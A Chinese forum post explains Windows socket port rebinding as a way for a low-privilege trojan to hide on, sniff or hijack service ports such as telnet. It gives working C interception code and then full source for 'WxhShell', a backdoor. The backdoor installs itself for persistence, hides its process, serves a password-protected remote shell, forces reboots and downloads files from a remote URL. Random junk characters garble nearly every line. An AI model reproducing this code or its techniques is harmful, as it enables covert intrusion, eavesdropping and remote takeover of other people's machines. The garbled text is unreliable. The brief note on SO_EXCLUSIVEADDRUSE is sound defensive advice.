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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n$x c];j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l&OKBUG  
y~ AVei&  
  saddr.sin_family = AF_INET; VRWAm>u  
fHE <(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *}F3M\  
\HxT@UQ)~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `5cKA;j>b  
&S{RGXj_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >kj`7GA  
qON|4+~u%  
  这意味着什么?意味着可以进行如下的攻击: @Owb?(6?  
cs,N <|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +%zAQeb  
V)Z}En["1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >Wm `v.-  
q8X feoUV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y;dz,}re  
2iY3Lsna  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f2Klt6"9  
mXRB7k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }iXDa?6%  
ZXqSH${Tp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B8.Pn  
<r .)hT"0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bR*-Ht+wd  
lP[w?O  
  #include Y}t \4 di  
  #include ,X[kt z  
  #include ^crCy-`#  
  #include    2#KJ asX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "cE7 5  
  int main() dsb`xw  
  { Q3n,)M[N  
  WORD wVersionRequested; c(3~0Yr  
  DWORD ret; f/ ?_  
  WSADATA wsaData; zvYq@Mhr  
  BOOL val; =e/9&993  
  SOCKADDR_IN saddr; s>B5l2Q4  
  SOCKADDR_IN scaddr; j`JMeCG=Ee  
  int err; V, Z|tB^  
  SOCKET s; iZ#!O* >  
  SOCKET sc; ]{)a,c NG  
  int caddsize; aGrIQq/k)%  
  HANDLE mt; Ttu2skcv  
  DWORD tid;   p#ol*m5wE  
  wVersionRequested = MAKEWORD( 2, 2 ); nno}e/zqf  
  err = WSAStartup( wVersionRequested, &wsaData ); hv`~?n)D66  
  if ( err != 0 ) { N|8P)  
  printf("error!WSAStartup failed!\n"); 9v;Vv0k_  
  return -1; Od)Uv1  
  } H{@Yo\J  
  saddr.sin_family = AF_INET; #o=y?(  
   b(*!$EB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s [M?as  
a=1NED'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }\z.)B4,  
  saddr.sin_port = htons(23); n&{Dq}q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W3]_m8,Z  
  { R?GDJ3  
  printf("error!socket failed!\n"); \kp8S'qVo  
  return -1; 6 bomh2  
  } %7"q"A r[  
  val = TRUE; _BM" ]t*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ee)T1~;W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >QjAoDVX?  
  { "W=AB&  
  printf("error!setsockopt failed!\n"); u8gS< \  
  return -1; <LmIK  
  } R}G4rO-J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ebm])~ZL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Uddr~2%(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q4R5<LW"  
VvvRRP^q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4H,`]B8(D  
  { I!^;8Pg  
  ret=GetLastError(); !9u|fnC9  
  printf("error!bind failed!\n"); zO~8?jDN4|  
  return -1; ]p _L)  
  } ta35 K"  
  listen(s,2); DwaBdN[!7  
  while(1) un)4eo!7  
  { %j:]^vqFA  
  caddsize = sizeof(scaddr); I3=%h  
  //接受连接请求 ge,H-8'Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `e(c^z#  
  if(sc!=INVALID_SOCKET) ^"VJd[Hn  
  { W}3.E "K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "8c@sHk(w  
  if(mt==NULL) 1%EBd%`#  
  { xe#FUS 3  
  printf("Thread Creat Failed!\n"); T?:Rdo!:u  
  break; u5O+1sZ"6  
  } $LKIT0  
  } }O/U;4Z  
  CloseHandle(mt); hLI`If/+K  
  } W}--p fG  
  closesocket(s); m`v2: S}  
  WSACleanup(); #Vl 0.l3  
  return 0; *}]Nf  
  }   VLS0XKI)  
  DWORD WINAPI ClientThread(LPVOID lpParam) M3J#'%$  
  { ?HTj mIb  
  SOCKET ss = (SOCKET)lpParam; SHvq.lYJ  
  SOCKET sc; )hd@S9Z.Y  
  unsigned char buf[4096]; VCu{&Sh*  
  SOCKADDR_IN saddr; e&simX;W  
  long num; *v;!-F&8>  
  DWORD val; 2VF%@p  
  DWORD ret; B268e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AjmVc])  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^@ I   
  saddr.sin_family = AF_INET; Ao&\EcIOT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G'rxXJq  
  saddr.sin_port = htons(23); 3 ;)>Fs;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IM:=@a{  
  { |M>eEE*F<  
  printf("error!socket failed!\n"); 6BY-^"W5`  
  return -1; oeKHqP wg  
  } K\>tA)IPSV  
  val = 100; hhSy0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XUM!Qv  
  { $k|g"9  
  ret = GetLastError(); G %N $C  
  return -1; BHd&yIyI  
  } k ]W[`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GT~)nC9f  
  { YCdS!&^UN  
  ret = GetLastError(); !zux z  
  return -1; G3{Q"^S"  
  } rFIqC:=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BS /G("oZ[  
  { ^g*pGrl#  
  printf("error!socket connect failed!\n"); il}%7b-  
  closesocket(sc); <DMl<KZ  
  closesocket(ss); w3#Wh|LQ-  
  return -1; kUq=5Y `D  
  } s4G|_==  
  while(1) A:>01ZJ5S+  
  { ~1cnE:x;V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $@sEn4h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bsuus R9W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UQ8M~x5$3%  
  num = recv(ss,buf,4096,0); `k OD[*  
  if(num>0) sqla}~CiX  
  send(sc,buf,num,0); 'HT7_$?*  
  else if(num==0) P.6nA^hXB  
  break; rJPb 3F  
  num = recv(sc,buf,4096,0); K2 he4<  
  if(num>0) n/DP>U$I&  
  send(ss,buf,num,0); N<f"]  
  else if(num==0) 09dK0H3(  
  break; m/v9!'cMI  
  } W [Of|?  
  closesocket(ss); "XB[|#&  
  closesocket(sc); ;E@G`=0St  
  return 0 ; =2[7 E  
  } EzDk}uKY0R  
r9X?PA0f  
=2Bg9!zW>  
========================================================== JQ}$Aqk  
>GQEqXs  
下边附上一个代码,,WXhSHELL L~_9_9c  
Z= jr-)kK  
========================================================== h lkn%  
W;_nK4$%'  
#include "stdafx.h" [OHxonU  
|\QgX%  
#include <stdio.h> T~QWRBO  
#include <string.h> 9!T[Z/}T  
#include <windows.h> *j]9vktH  
#include <winsock2.h> X'%E\/~u  
#include <winsvc.h> M9EfU  
#include <urlmon.h> .zS?9MP  
8*8Zc/{  
#pragma comment (lib, "Ws2_32.lib") ki[UV zd  
#pragma comment (lib, "urlmon.lib") Fkvl%n  
g$HwxA9Gp/  
#define MAX_USER   100 // 最大客户端连接数 .}'qUPNR  
#define BUF_SOCK   200 // sock buffer @b"t]#V(E  
#define KEY_BUFF   255 // 输入 buffer ZPiq-q  
}MRd@ 0-?!  
#define REBOOT     0   // 重启 MHSs!^/g5  
#define SHUTDOWN   1   // 关机 FQT~pfY  
dA@'b5N{"  
#define DEF_PORT   5000 // 监听端口 &$"i,~q^b  
Xg<*@4RD8  
#define REG_LEN     16   // 注册表键长度 -cZDG t  
#define SVC_LEN     80   // NT服务名长度 :80Z6F.k`  
OC1I&",Ai|  
// 从dll定义API }-ftyl7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $SM# < @  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $tz;<M7B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )_{dWf1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $}lbT15a  
t>1Z\lE\"  
// wxhshell配置信息 SfgU`eF%B  
struct WSCFG { ! vP[;6  
  int ws_port;         // 监听端口 mu?Eco`~  
  char ws_passstr[REG_LEN]; // 口令 )p T?/ J  
  int ws_autoins;       // 安装标记, 1=yes 0=no rrQQZ5fhb  
  char ws_regname[REG_LEN]; // 注册表键名 VS9`{  
  char ws_svcname[REG_LEN]; // 服务名 3BB%Z 6F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uIcn{RZ_z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A'G66ei  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0dhF&*h|L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ktj]:rCkF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Of{/t1o?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KC(xb5x Y  
)E6;-rD0^+  
}; b`)){LR  
(rkyWz  
// default Wxhshell configuration O<96/a'  
struct WSCFG wscfg={DEF_PORT, RRmLd/(  
    "xuhuanlingzhe", 1&^MfP}  
    1, d@ Y}SWTB  
    "Wxhshell", )jkXS TZ  
    "Wxhshell", dYSr4p b  
            "WxhShell Service", A/s>PhxV  
    "Wrsky Windows CmdShell Service", M7+nW ; e%  
    "Please Input Your Password: ", Ul2R'"FB  
  1, +|bmT  
  "http://www.wrsky.com/wxhshell.exe", AgV G`q  
  "Wxhshell.exe" >y.%xK  
    }; R&|mdY8  
t<~$  
// 消息定义模块 Vy*:ne  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xv< B1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uwa~-xX6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vJ\pR~?  
char *msg_ws_ext="\n\rExit."; N` aF{3[  
char *msg_ws_end="\n\rQuit."; 43={Xy   
char *msg_ws_boot="\n\rReboot..."; T^T[$26  
char *msg_ws_poff="\n\rShutdown..."; Y|8:;u'  
char *msg_ws_down="\n\rSave to "; (4'$y`Z  
P`#Z9 HM4  
char *msg_ws_err="\n\rErr!"; g)s{ IAVx  
char *msg_ws_ok="\n\rOK!"; <@}I0  
f8M$45A'  
char ExeFile[MAX_PATH]; '|S%a MLZ)  
int nUser = 0; w=j  
HANDLE handles[MAX_USER]; Mu{;vf|j  
int OsIsNt; Nc+,&R13m  
o4*+T8[|5  
SERVICE_STATUS       serviceStatus; 58%#DX34M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S:TgFt0  
 1WY/6[  
// 函数声明 0$7s^?G0  
int Install(void); '~ ,p[  
int Uninstall(void); ][W_[0v  
int DownloadFile(char *sURL, SOCKET wsh); K?s+3  
int Boot(int flag); cgl*t+o&  
void HideProc(void); 9AxCiT.  
int GetOsVer(void); U+)xu>I  
int Wxhshell(SOCKET wsl); 3 dht!7/  
void TalkWithClient(void *cs); w"OP8KA:^T  
int CmdShell(SOCKET sock); L3 G \  
int StartFromService(void); X@k`3X  
int StartWxhshell(LPSTR lpCmdLine); d+X}cq=  
|tv"B@`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mN!lo;m5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =+-Yxh|*  
jeGj<m  
// 数据结构和表定义 ]wKzE4Z/  
SERVICE_TABLE_ENTRY DispatchTable[] = F)s{PCl  
{ w3=%*<  
{wscfg.ws_svcname, NTServiceMain}, dxZu2&gi  
{NULL, NULL} Ix(?fO#uNF  
}; UJfEC0  
YqPQ%  
// 自我安装 uq, { tV  
int Install(void) x~GQV^(l3  
{ {"&SJt[%X  
  char svExeFile[MAX_PATH]; K'X2dG*  
  HKEY key; A5i:x$ww  
  strcpy(svExeFile,ExeFile); P( XaTU&-  
s3]?8hXd  
// 如果是win9x系统,修改注册表设为自启动 9G{;?c  
if(!OsIsNt) { *xON W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %F:)5gT?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K4]g[z  
  RegCloseKey(key); hoQs @[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vG;zJ#c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AC;V m: @{  
  RegCloseKey(key); u0#}9UKQ  
  return 0; VQ0fS!5'  
    } q EP 4  
  } hSFn8mpXT  
} ax{ ;:fW  
else { _~rI+lA  
zo[[>MA  
// 如果是NT以上系统,安装为系统服务 ^| /](  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W?eu!wL#p  
if (schSCManager!=0) ~=KJzOS,S  
{ 0pJ ":Q/2)  
  SC_HANDLE schService = CreateService >nw++[K_  
  ( n>A98NQ  
  schSCManager, ~(pmLZ<GW}  
  wscfg.ws_svcname, lY{FSGp  
  wscfg.ws_svcdisp, ' v\L @"  
  SERVICE_ALL_ACCESS, 7zHh@ B:]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "TUe%o  
  SERVICE_AUTO_START, Kx=4~  
  SERVICE_ERROR_NORMAL, G!Um,U/g  
  svExeFile, H}H7lO  
  NULL, N nk@h  
  NULL, }';D]c  
  NULL, m=:4`_0Q  
  NULL, ukvtQz)  
  NULL "=6v&G]U4  
  ); E\IlF 6  
  if (schService!=0) )u/H>;L P  
  { 2*N_5&9mE  
  CloseServiceHandle(schService); OM|Fwr$  
  CloseServiceHandle(schSCManager); !2z?YZhu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); : C b&v07  
  strcat(svExeFile,wscfg.ws_svcname); AgRjr"hF*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -0_d/'d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IBQ@{QB  
  RegCloseKey(key); 5*E#*H  
  return 0; \MK*by  
    } c\ia6[3sX  
  } B9T!j]'  
  CloseServiceHandle(schSCManager); +=]!P#  
} Hew d4k  
} ' j6gG  
FJ %  
return 1; OKi\zS  
} vTaJqEE  
u ~3%bJ]  
// 自我卸载 vk>b#%1{  
int Uninstall(void) l#lF +Q;  
{ &q`q4g&7  
  HKEY key; A8q;q2  
2MATpV#BT  
if(!OsIsNt) { 0]D{Va  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bJYda)  
  RegDeleteValue(key,wscfg.ws_regname); QT9n,lX  
  RegCloseKey(key); u5~Ns&o&N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8E8N6  
  RegDeleteValue(key,wscfg.ws_regname); Gcb|W&  
  RegCloseKey(key); E;d7ch  
  return 0; @q"m5  
  } *loOiM\5a  
} -F=v6N{  
} @x eAc0.^  
else { "Tm[t?FMbe  
,^gyH \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +3a?` Z  
if (schSCManager!=0) PG8^.)]M  
{ M\Gdn92pd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y!5$/`AF  
  if (schService!=0) (ewe"N+  
  { >7roe []-|  
  if(DeleteService(schService)!=0) { e5.h ?  
  CloseServiceHandle(schService); K9vIm4::d$  
  CloseServiceHandle(schSCManager); _DrJVC~6@  
  return 0; =l.+,|ZH!  
  } [HN|\afz  
  CloseServiceHandle(schService); *26334B.R  
  } {CR5K9  
  CloseServiceHandle(schSCManager); "+zCS|   
} sP-^~ pp  
} @]q BF]6  
8scc%t7  
return 1; YPzU-:3  
} O:{U^K:*  
DAwqo.m  
// 从指定url下载文件 gPu2G/Y  
int DownloadFile(char *sURL, SOCKET wsh) sHcTd>xS  
{ ]`bQW?  
  HRESULT hr; 2kv7UU#q2  
char seps[]= "/"; `)qVF,Z}  
char *token;  PlYm&  
char *file; oG7q_4+&  
char myURL[MAX_PATH]; wBQF~WY  
char myFILE[MAX_PATH]; * ,v|y6  
jqH3J2L  
strcpy(myURL,sURL); `]LSbS  
  token=strtok(myURL,seps); G60R9y47c  
  while(token!=NULL) or k=`};  
  { AW#<i_Ybf  
    file=token; Z4){ 7|~a  
  token=strtok(NULL,seps); t8+_/BXv  
  } k<RZKwQc  
 6l$L~>  
GetCurrentDirectory(MAX_PATH,myFILE); lCF `*DM#  
strcat(myFILE, "\\"); `xiCm':  
strcat(myFILE, file); \m=?xb8 f  
  send(wsh,myFILE,strlen(myFILE),0); Z_gC&7+  
send(wsh,"...",3,0); `MEYd U1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8?*RIA.a  
  if(hr==S_OK) R.LL#u};  
return 0; N)S!7%ne  
else 341?0 %=  
return 1; 0wFH!s/B  
2Bk$ lx7  
} -dv %H{  
AH4EtZC=W  
// 系统电源模块 -`f04_@>d  
int Boot(int flag) _U{([M>;  
{ #{9G sD  
  HANDLE hToken; -o+74=E8[?  
  TOKEN_PRIVILEGES tkp; =pA IvU  
^E6d`2w-  
  if(OsIsNt) { 'a^{=+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pG^}Xf2a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >K# ,cxY  
    tkp.PrivilegeCount = 1; =`Y.=RL+'n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [TF8'jI0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^uS/r#l  
if(flag==REBOOT) { OG3/-K8R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b dJ+@r  
  return 0; DFO7uw1  
} ]APvp.Tw:  
else { dr{y0`CCN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -[OXSaf6  
  return 0; Omi^>c4G  
} $|$e%   
  } |wox1Wt|E  
  else { 8h<ehNX ^I  
if(flag==REBOOT) { $6F)R|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 24Z]%+b*E  
  return 0; Pv<FLo%u<  
} Jdy <w&S  
else { 1Uf*^WW4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x90jw$\%7  
  return 0; pium$4l2#  
} xt4)Ya  
} fag^7rz  
7n)&FX K`  
return 1; uhV0J97  
} XYx 6V  
gPzL*6OS A  
// win9x进程隐藏模块 NZu)j["  
void HideProc(void) < Fs-3(V+\  
{ _,6f#t  
7GZgu$'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I8H%=Kb?9  
  if ( hKernel != NULL ) IMQ]1uq0$  
  { dSIH9D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U,1AfzlF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /,5Z-Z*wq  
    FreeLibrary(hKernel); Je4Z(kj 0  
  } I\\QS.2  
FVF-:C  
return; 8*g ^o\M  
} t ]c{c#N/  
Io2mWvu?5  
// 获取操作系统版本 E?PGu!&u  
int GetOsVer(void)  .Qt4&B  
{ PiLJZBUv  
  OSVERSIONINFO winfo; RV-hIdAU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `-B+JQmen  
  GetVersionEx(&winfo); '?o9VrO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W v!<bT8r  
  return 1; N0n^L|(R  
  else /T0nLp`gi  
  return 0; K#K\-TR|$  
} #>@z 2K7  
v_PdOp[ k  
// 客户端句柄模块 lf>nbvp  
int Wxhshell(SOCKET wsl) BzpP7ZWV  
{ :^C'<SY2Gs  
  SOCKET wsh; =QV ::/  
  struct sockaddr_in client; &[?CTZ  
  DWORD myID; *!:QdWLq  
-%IcYzyA  
  while(nUser<MAX_USER) 7Tf]:4Y"  
{ q}L+/+b  
  int nSize=sizeof(client); ,7|;k2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gie@JX  
  if(wsh==INVALID_SOCKET) return 1; <64HveJ  
tPuut\ee  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }0=<6\+:`  
if(handles[nUser]==0) lm'Zy"~::  
  closesocket(wsh); z&nZ<ih  
else 7N2\8kP  
  nUser++; Q"J-tP!  
  } 6R}j-1 <n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a0Oe:]mo\  
-E&e1u,Mi  
  return 0; ul5|.C  
} !)NidG  
]Ql 0v"` F  
// 关闭 socket OCyG_DLT$5  
void CloseIt(SOCKET wsh) H5wb_yBQ+  
{ $*~Iu%Az  
closesocket(wsh); g?/XZ5$a5  
nUser--; ){Mu~P  
ExitThread(0); SKXBrD=-  
} x.DzViP/  
j kn^Z":  
// 客户端请求句柄 {^q)^<#JT  
void TalkWithClient(void *cs) z>vtEV))  
{ +6W(z3($  
>`V}U*}*H  
  SOCKET wsh=(SOCKET)cs; 2BB<mv K4  
  char pwd[SVC_LEN]; Ef7:y|?  
  char cmd[KEY_BUFF]; `U`#I,Ln[  
char chr[1]; c5i%(!>  
int i,j; ,axDMMDI  
_Sj}~ H  
  while (nUser < MAX_USER) { 7h<> k*E)  
32XS`Z  
if(wscfg.ws_passstr) { ^nDal':*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6`nR5fh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  #ch  
  //ZeroMemory(pwd,KEY_BUFF); Jj"HpK>[  
      i=0; v ahoSc;sw  
  while(i<SVC_LEN) { @YL}km&Fw  
A|x:UQlu  
  // 设置超时 ?F$6;N6x  
  fd_set FdRead; lxb8xY  
  struct timeval TimeOut; /NBTvTI  
  FD_ZERO(&FdRead); -6EK#!+  
  FD_SET(wsh,&FdRead); !Rw&DFU  
  TimeOut.tv_sec=8; $Tl<V/  
  TimeOut.tv_usec=0; k khE}qSD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i Q`]ms+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DvT+`X?R  
/8CY0Ey  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v|+5:jFOqb  
  pwd=chr[0]; z:G}>fk5  
  if(chr[0]==0xd || chr[0]==0xa) { sk X]8  
  pwd=0; BnEdv8\,&s  
  break; rFd@mO  
  } x*8O*!ZZ  
  i++; h W.2p+  
    } T)\NkM&  
-}<g-*m"q  
  // 如果是非法用户,关闭 socket snMQ"ju  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w7Dt1axB  
} #\FT EY!  
Q-('5a19J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pt!'v$G/*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _PB@kH#  
obGWxI%a  
while(1) { wGXwzU  
wJIB$3OT  
  ZeroMemory(cmd,KEY_BUFF); Ph)| j&]  
6v47 QW|'  
      // 自动支持客户端 telnet标准   QrS$P09=\  
  j=0; __)qw#  
  while(j<KEY_BUFF) { nm):SEkC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! zfFt;  
  cmd[j]=chr[0]; :EB,{|m  
  if(chr[0]==0xa || chr[0]==0xd) { dB)9K)  
  cmd[j]=0; %,?vyY  
  break; #<#%>Y^  
  } ZgF/;8!~V-  
  j++; x;U|3{I o  
    } j+>Q#&h9  
LZV}U*  
  // 下载文件 /yK"t< p  
  if(strstr(cmd,"http://")) { @36S}5Oa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YX;nMyD?~  
  if(DownloadFile(cmd,wsh)) FzhT$7Gw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iG-N  
  else BED@?:U#h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gM, &Spn  
  } QMb^&?;s  
  else { 5b fb!7-[i  
"?H+ u/8$  
    switch(cmd[0]) { Ar`\ N1a  
  Ruj.J,  
  // 帮助 uC[d%v`  
  case '?': { Yw^ Gti'<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3]S`|#J  
    break; l\aUresm  
  } dpn3 (  
  // 安装 r<_2qICgP  
  case 'i': { x u,htx  
    if(Install()) [Yvsa,2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  1ZNNsB  
    else FNJ!IkuR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;IhPvff  
    break; 9HKf^+';n  
    } 3kw}CaZ6  
  // 卸载 sRi%1r7  
  case 'r': { \^s2W:c  
    if(Uninstall()) ]wf |PU~nr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u:5IjOb2^  
    else $3:X+X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )[ b#g(Y(  
    break; @LC~*_y   
    } UT;4U;a,m  
  // 显示 wxhshell 所在路径 }} #be  
  case 'p': { dJE`9$jN  
    char svExeFile[MAX_PATH]; %yhI;M^  
    strcpy(svExeFile,"\n\r"); >;}]pI0T  
      strcat(svExeFile,ExeFile); K P6PQgc  
        send(wsh,svExeFile,strlen(svExeFile),0); *[ #*n n  
    break; ^Y<M~K972  
    } ?%;B`2 nDR  
  // 重启 L5C2ng>  
  case 'b': { &CO| Y(+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }{=8&gA0  
    if(Boot(REBOOT)) /&QQ p3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x _|>n<Z  
    else { qOgtGN}k  
    closesocket(wsh); x/_dW  
    ExitThread(0); oVEAlBm^v  
    } < 4$YO-:E  
    break; xH@'H?  
    } D+hB[*7Fs  
  // 关机 *+W6 P.K  
  case 'd': { oB}K[3uB:t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %t{Sb4XZ4k  
